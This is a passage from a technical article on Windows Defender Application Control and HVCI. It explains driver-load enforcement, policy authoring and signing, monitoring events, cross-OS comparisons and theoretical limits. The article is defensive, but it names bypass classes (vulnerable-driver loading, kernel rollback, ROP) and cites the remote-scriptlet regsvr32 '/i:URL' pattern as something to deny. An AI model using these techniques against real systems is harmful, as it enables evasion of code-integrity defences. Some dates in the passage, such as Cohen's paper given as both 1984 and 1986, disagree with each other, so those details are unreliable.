Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the [Driver Block List entry for `dbutil_2_3.sys`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) terminates the load. Explicit allow rules are next, then signer-level rules, then [Intelligent Security Graph cloud verdicts (when rule option 14 is enabled)](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/use-appcontrol-with-intelligent-security-graph), and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a *secure call* -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for [VBS](https://paragmali.com/blog/when-system-isnt-enough-the-windows-secure-kernel-and-the-en/).

In step five, [`SkCi.dll`](https://github.com/tpn/pdfs/blob/master/Battle%20of%20SKM%20and%20IUM%20-%20How%20Windows%2010%20Rewrites%20OS%20Architecture%20-%20Alex%20Ionescu%20-%202015%20(blackhat2015).pdf) inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's `HvciOptions` element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the [hypervisor](https://www.microsoft.com/en-us/msrc/bounty-hyper-v) (`hvix64.exe` on Intel, `hvax64.exe` on AMD), not by the kernel that the attacker may already control.

> **Key idea:** Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

<Mermaid caption="The runtime enforcement loop, end to end. CI.dll in VTL0 builds the verdict; SkCi.dll in VTL1 ratifies it; the hypervisor flips SLAT entries from W to X if and only if both rails agree.">
sequenceDiagram
    participant L as NT Loader
    participant CI as CI.dll (VTL0)
    participant Pol as Active policy state
    participant Hv as Hypervisor (hvix64.exe)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as SLAT page tables
    L->>CI: NtCreateSection(image)
    CI->>CI: Parse Authenticode + page-hash table
    CI->>Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\
    Pol-->>CI: Verdict (deny / allow / signer / ISG)
    CI->>Hv: Secure call: revalidate this kernel image
    Hv->>Sk: Forward to VTL1
    Sk->>Sk: Re-check signature + Block List
    Sk-->>Hv: PASS or FAIL
    Hv->>SLAT: If PASS, flip page state W -> X (read-only execute)
    SLAT-->>L: DriverEntry executes in VTL0
    Note over SLAT,Hv: Future VTL0 write to these pages -> SLAT page-fault
</Mermaid>

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the [`Microsoft-Windows-CodeIntegrity/Operational` channel](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) entries that show up in Event Viewer under each verdict.

| Step | Component | File path | Event on failure |
|---|---|---|---|
| 1 | NT loader | `\Windows\System32\ntoskrnl.exe` | (kernel STATUS code) |
| 2 | CI engine | `\Windows\System32\CI.dll` | 3023 (audit) / 3024 (enforce) |
| 3 | Policy state | `\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip` | 3076 (UMCI) / 3077 (UMCI enforce) |
| 4 | Secure call | `\Windows\System32\securekernel.exe` | (cross-VTL trace) |
| 5 | Secure CI | VTL1-resident `SkCi.dll` | 3033 (driver block) / 3034 (driver audit) |
| 6 | Hypervisor SLAT flip | `\Windows\System32\hvix64.exe` / `hvax64.exe` | (hypervisor trace) |
| 7 | Page-fault safety net | Hypervisor | SLAT violation crash |

<Definition term="SLAT (Second-Level Address Translation)">
The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS's own page tables. Because SLAT entries are *under* the OS's view, a kernel attacker in VTL0 can change the OS's page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections.
</Definition>

<Definition term="CodeIntegrity-Operational event channel">
The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: [3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block)](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/operations/event-id-explanations). All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.<MarginNote>The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.</MarginNote>
</Definition>

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

<RunnableCode lang="js" title="Decode the Win32_DeviceGuard WMI surface">{`
// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\\Microsoft\\Windows\\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
  1: 'Hypervisor support (VBS-capable CPU)',
  2: 'Secure Boot is available',
  3: 'DMA protection is available',
  4: 'Secure Memory Overwrite is available',
  5: 'NX protections are available',
  6: 'SMM mitigations are available',
  7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)',
  8: 'APIC virtualization is available',
};

// Pretend we just received this from a remote endpoint:
const sample = {
  AvailableSecurityProperties: [1, 2, 3, 5, 7],
  VirtualizationBasedSecurityStatus: 2, // 2 = running
  SecurityServicesRunning: [2],         // 2 = HVCI active
};

console.log('VBS status:',
  sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF');
console.log('HVCI:',
  sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE');
console.log('Capabilities:');
for (const id of sample.AvailableSecurityProperties) {
  console.log('  -', SECURITY_PROPS[id] || ('unknown:' + id));
}
`}</RunnableCode>

> **Note:** [Joanna Rutkowska's Blue Pill](https://en.wikipedia.org/wiki/Blue_Pill_(software)) argued in 2006 that the hypervisor was the attacker's substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the *defender's* substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska's rootkit possible is the hardware feature that makes HVCI's W$\oplus$X invariant enforceable.

We now have an answer to the question that opened section one. When `dbutil_2_3.sys` loaded against a default Windows 11 24H2 box with HVCI on, step five happened. `SkCi.dll` consulted the [Vulnerable Driver Block List](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) inside its own active policy state, matched the file hash against the published deny entry for [CVE-2021-21551](https://nvd.nist.gov/vuln/detail/CVE-2021-21551), refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to *operate* it.

## 6. State of the Art: Authoring, Signing, Deploying, Monitoring

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

### 6.1 Authoring

Authoring starts from one of the [example base policies](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/example-appcontrol-base-policies) Microsoft ships under `%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\`. The directory contains `DefaultWindows_Audit.xml` (a sane starting allowlist that runs in audit mode), `AllowMicrosoft.xml`, `AllowAll.xml`, `AllowAll_EnableHVCI.xml`, `DenyAllAudit.xml`, and the canonical [`SmartAppControl.xml` / `SignedReputable.xml`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/example-appcontrol-base-policies) consumer-grade template. There is also `RecommendedDriverBlock_Enforced.xml` -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates `WinSiPolicy.xml` and `WinSEPolicy.xml`.

The PowerShell call that mints a new base policy is `New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat`. The `-Level` flag picks one of the [eight rule-level identities](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create) -- `Hash`, `FilePath`, `FileName`, `FilePublisher`, `LeafCertificate`, `PcaCertificate`, `RootCertificate`, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. `FilePublisher` is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

<Definition term="Managed Installer">
A WDAC rule option ([rule option 13](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create), first shipped in [Windows 10 1703 in April 2017](https://www.microsoft.com/en-us/security/blog/2017/10/23/introducing-windows-defender-application-control/)) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a "trusted" attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to "how do you deploy software to a fleet that runs an enforced WDAC policy."
</Definition>

### 6.2 Audit-mode discovery

Audit mode is the architectural prerequisite for not bricking your fleet. [Microsoft Learn](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create) is unambiguous: "We recommend that you use `Enabled:Audit Mode` initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." `Set-RuleOption -Option 3` on the policy XML enables audit mode; `Set-RuleOption -Option 3 -Delete` removes it and switches the policy into enforce mode. In between, the SOC harvests `Microsoft-Windows-CodeIntegrity/Operational` event 3076 entries with `Get-WinEvent`, and `New-CIPolicy -Audit` mints a *discovery* policy from the observed blocks that you can merge into the base.

> **Note:** Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate `New-CIPolicy -Audit -> merge -> redeploy` until the audit-event volume goes near-zero. *Then* delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.

### 6.3 Signing

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: `Add-SignerRule -Update` to add the signer that may replace the policy in future, `Set-RuleOption -Option 6 -Delete` to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, `ConvertFrom-CIPolicy` to produce the binary `.cip`, and `signtool.exe` with an RSA-2048-or-larger certificate to attach the signature. [Microsoft Learn documents the signed-policy prerequisites](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create): [Secure Boot](https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/) must be on; ECDSA certificates are explicitly unsupported; and the policy's `VersionEx` must be monotonically increasing across replacements.

> **Note:** A botched signed-policy update -- a `VersionEx` rollback, a wrong signer, a missing `UpdatePolicySigner` for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset *before* fleet rollout.

### 6.4 Deployment and stacking

Multiple-policy WDAC is the deployment model since [Windows 10 1903](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies). Up to thirty-two active policies sit in `C:\Windows\System32\CodeIntegrity\CIPolicies\Active\`, or unlimited on devices that have the [April 9, 2024 cumulative update](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies). Base-and-supplemental composition (`<SupplementalPolicySigner>`) lets a divisional supplemental policy union into a corporate base. The `<HvciOptions>` element toggles HVCI from inside the policy XML itself. The published [`RecommendedDriverBlock_Enforced.xml`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the [Intune App Control for Business CSP](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/), Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

<Mermaid caption="The audit-to-enforce migration loop. Most production failures are skipped iterations of the middle box: harvest 3076 events, mint a supplemental from observed blocks, redeploy, repeat until the audit volume falls near zero.">
flowchart LR
    A[DefaultWindows_Audit.xml]
    B[Set-RuleOption -Option 3<br/>Deploy in audit mode]
    C[Get-WinEvent CodeIntegrity-Operational<br/>collect event 3076]
    D[New-CIPolicy -Audit<br/>mint supplemental from blocks]
    E[Merge supplemental + base]
    F[Set-RuleOption -Option 3 -Delete]
    G[ConvertFrom-CIPolicy + signtool]
    H[Deploy enforced via Intune / ConfigMgr]
    A --> B --> C --> D --> E --> C
    E --> F --> G --> H
</Mermaid>

### 6.5 Monitoring

Monitoring rests on two telemetry sources. The first is the [`Microsoft-Windows-CodeIntegrity/Operational` channel](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/operations/event-id-explanations) on the endpoint, with the six event IDs from section five. The second is [Defender for Endpoint advanced hunting](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference), where the `DeviceEvents` table carries `AppControlExecutableAudited`, `AppControlExecutableBlocked`, and `AppControlCodeIntegrityDriverRevoked` rows. The two stitch together: a single 3033 event on the endpoint maps to a single `AppControlCodeIntegrityDriverRevoked` row in the SIEM.

The third leg of the monitoring tripod is the [Defender Attack Surface Reduction rule with GUID `56a863a9-875e-4185-98a7-b882c64b5ce5`](https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/) -- *Block abuse of exploited vulnerable signed drivers*. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

<Definition term="ASR (Attack Surface Reduction) rule">
A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.
</Definition>

| Event ID | Phase | Audience | Meaning |
|---|---|---|---|
| 3023 | Audit | Kernel-mode | Driver would have been blocked (audit) |
| 3024 | Enforce | Kernel-mode | Driver blocked |
| 3033 | Enforce | Kernel-mode | Driver blocked by Block List rule |
| 3034 | Audit | Kernel-mode | Driver allowed but matched audit |
| 3076 | Audit | User-mode | Process would have been blocked |
| 3077 | Enforce | User-mode | Process blocked |

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a `New-CIPolicy -Level FilePublisher` invocation extracts from a PE binary.

<RunnableCode lang="js" title="Compute a FilePublisher rule identity">{`
// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
  return {
    O: pe.signer.organization,
    CN: pe.signer.commonName,
    ProductName: pe.versionInfo.productName,
    BinaryName: pe.versionInfo.originalFilename,
    MinimumVersion: pe.versionInfo.fileVersion,
  };
}

const peSample = {
  signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' },
  versionInfo: {
    productName: 'Microsoft Windows Operating System',
    originalFilename: 'powershell.exe',
    fileVersion: '10.0.26100.1',
  },
};

const rule = filePublisherRule(peSample);
console.log('Generated FilePublisher rule:');
for (const [k, v] of Object.entries(rule)) console.log('  ' + k + ' = ' + v);
console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.');
`}</RunnableCode>

<Sidenote>The consumer cousin of WDAC is [Smart App Control](https://support.microsoft.com/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003), which runs the same `CI.dll` against an example policy (`SmartAppControl.xml`, also shipped as `SignedReputable.xml`). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, "no way to bypass Smart App Control protection for individual apps."</Sidenote>

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

## 7. Competing Approaches: Apple, Linux, Android

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

**macOS** combines Gatekeeper, notarization, [System Integrity Protection (SIP, shipped September 16, 2015)](https://en.wikipedia.org/wiki/System_Integrity_Protection), and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store [must be signed by an Apple-identified developer and notarized by Apple](https://support.apple.com/guide/security/gatekeeper-and-runtime-protection-sec5599b66df/web). There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is [Kernel Integrity Protection on Apple Silicon](https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/web), which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

**Linux** ships [Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009](https://sourceforge.net/p/linux-ima/wiki/Home/), with the Extended Verification Module (EVM) for off-line attack protection and [`dm-verity`](https://en.wikipedia.org/wiki/Dm-verity) for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can *collect* file measurements, *store* them in a kernel-resident list (and extend a TPM PCR if hardware is present), *attest* them remotely, and *appraise* them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

<Definition term="dm-verity">
A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of [Android Verified Boot](https://source.android.com/docs/security/features/verifiedboot), and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader [device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD](https://en.wikipedia.org/wiki/Dm-verity).
</Definition>

**Android** combines [Android Verified Boot (AVB), introduced in Android 8.0](https://source.android.com/docs/security/features/verifiedboot), which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the [APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9)](https://source.android.com/docs/security/features/apksigning), and [v4 (Android 11)](https://source.android.com/docs/security/features/apksigning/v4); the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

| Property | Windows (WDAC + HVCI) | macOS | Linux | Android |
|---|---|---|---|---|
| Tenant-authored policy | Yes (XML) | No | Yes (IMA appraise) | No |
| Hypervisor-rooted enforcement | Yes (VTL1) | No (silicon-rooted) | No (default) | No |
| Per-page W$\oplus$X for kernel | Yes (HVCI) | Yes (KIP, fixed) | No (default) | No |
| Sealed system image | No (modular) | Yes (sealed APFS) | Optional (dm-verity) | Yes (Verified Boot) |
| Per-load runtime check | Yes (every PE) | Yes (every Mach-O) | Optional (IMA) | App install / Zygote |
| Trust anchor | Microsoft + tenant | Apple only | TPM PCR / tenant | AVB key + Google Play |
| Documented bypass class | LOLBINs + BYOVD | Notarization gaps | Off-by-default IMA | Sandbox escapes |

The Windows distinction is structural. A *hypervisor-rooted* runtime enforcement loop, against an *XML-schema author-anywhere policy*, evaluated at *every PE load* by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.<Sidenote>The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 [Windows endpoint security summit blog post](https://blogs.windows.com/windowsexperience/2024/09/12/taking-steps-that-drive-resiliency-and-security-for-windows-customers/) is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.</Sidenote>

<Aside label="The architectural distinction">
The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.
</Aside>

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

## 8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface

Fred Cohen proved in his 1984 paper *Computer Viruses -- Theory and Experiments* that the general problem WDAC tries to solve is undecidable. ["Detection of a virus is shown to be undecidable both by a-priori and runtime analysis,"](https://web.eecs.umich.edu/~aprakash/eecs588/handouts/cohen-viruses.html) Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC [in 1986](https://en.wikipedia.org/wiki/Fred_Cohen), where Leonard Adleman (the *A* in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in *Computers & Security* in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an *allowlist*. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- *is this exact bag of bytes, with this exact signature, on the trusted list?* -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

> **Key idea:** WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

<Definition term="Rice's theorem">
Henry Gordon Rice's [1951 doctoral result at Syracuse University](https://en.wikipedia.org/wiki/Rice%27s_theorem): every non-trivial semantic property of a Turing-complete program is undecidable. "Will this program ever execute arbitrary code from a network argument?" is a semantic property. Rice's theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft's [bypass catalogue](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.
</Definition>

The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that *write* a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of *existing* executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in `RET` instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. [Kernel Data Protection](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/) closes the data-corruption variant -- attackers shifting from *modify code* to *modify data that drives code* -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's [own Learn page on the Block List](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the [LOLDrivers community catalogue](https://www.loldrivers.io/) tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

<PullQuote>
"It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions." -- Microsoft Learn, Microsoft recommended driver block rules, 2026.
</PullQuote>

The fourth limit is the bug-bounty calibration. [Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD](https://www.microsoft.com/en-us/msrc/bounty-hyper-v) on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does *not* break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

| Bound | Source | What it implies |
|---|---|---|
| Cohen 1986 lower bound | [Cohen, *Computer Viruses -- Theory and Experiments*](https://web.eecs.umich.edu/~aprakash/eecs588/handouts/cohen-viruses.html) | General malware detection is undecidable; allowlists are the only decidable primitive |
| Rice's theorem lower bound | [Rice 1951](https://en.wikipedia.org/wiki/Rice%27s_theorem) | Static analysis cannot decide non-trivial semantic properties of LOLBINs |
| Reachable bound | WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint | Decidable allowlist + curated deny list + EDR telemetry on the residual |
| Residual surface | ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback | Microsoft response: KDP, hash-pinned bypass list, [VMDRC reporting](https://www.microsoft.com/wdsi/driversubmission), [KB5042562](https://nvd.nist.gov/vuln/detail/CVE-2024-21302) |

<Aside label="The W$\oplus$X ceiling">
A short proof-by-existence: the [July 2024 Windows Downdate disclosure](https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/) used a downgrade attack to roll back HVCI's own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with [KB5042562 and the opt-in revocation policy](https://nvd.nist.gov/vuln/detail/CVE-2024-21302) -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.
</Aside>

WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

## 9. Open Problems: Where Research Lives Today

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the *next* generation of one of the residuals named in section eight.

**Data-only attacks against HVCI and KDP coverage.** [KDP closes the data-corruption gap, but only opt-in per driver](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/) -- the driver author has to call `MmProtectDriverSection` for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

**BYOVD-class drivers faster than the Block List update cadence.** The Block List ships [quarterly, with monthly Windows updates as the delivery mechanism](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules); the [LOLDrivers community catalogue](https://www.loldrivers.io/) operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The [Microsoft Vulnerable and Malicious Driver Reporting Center](https://www.microsoft.com/wdsi/driversubmission) is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

**Signed-but-vulnerable user-mode binaries.** The forty-entry [bypass catalogue](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with `/i:URL` arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in [Defender's ASR rules](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference) today; none of it lives inside WDAC's static schema.

**HVCI rollback (CVE-2024-21302 Windows Downdate).** Alon Leviev's [Black Hat USA 2024 disclosure](https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/) used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed [July 8, 2025 with KB5042562](https://nvd.nist.gov/vuln/detail/CVE-2024-21302). But the [Windows Update takeover that *delivered* the downgrade remains unpatched](https://www.safebreach.com/blog/update-on-windows-downdate-downgrade-attacks/) because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory `dbx` hygiene plus UEFI-locked monotonic version counters for VBS binaries.

<PullQuote>
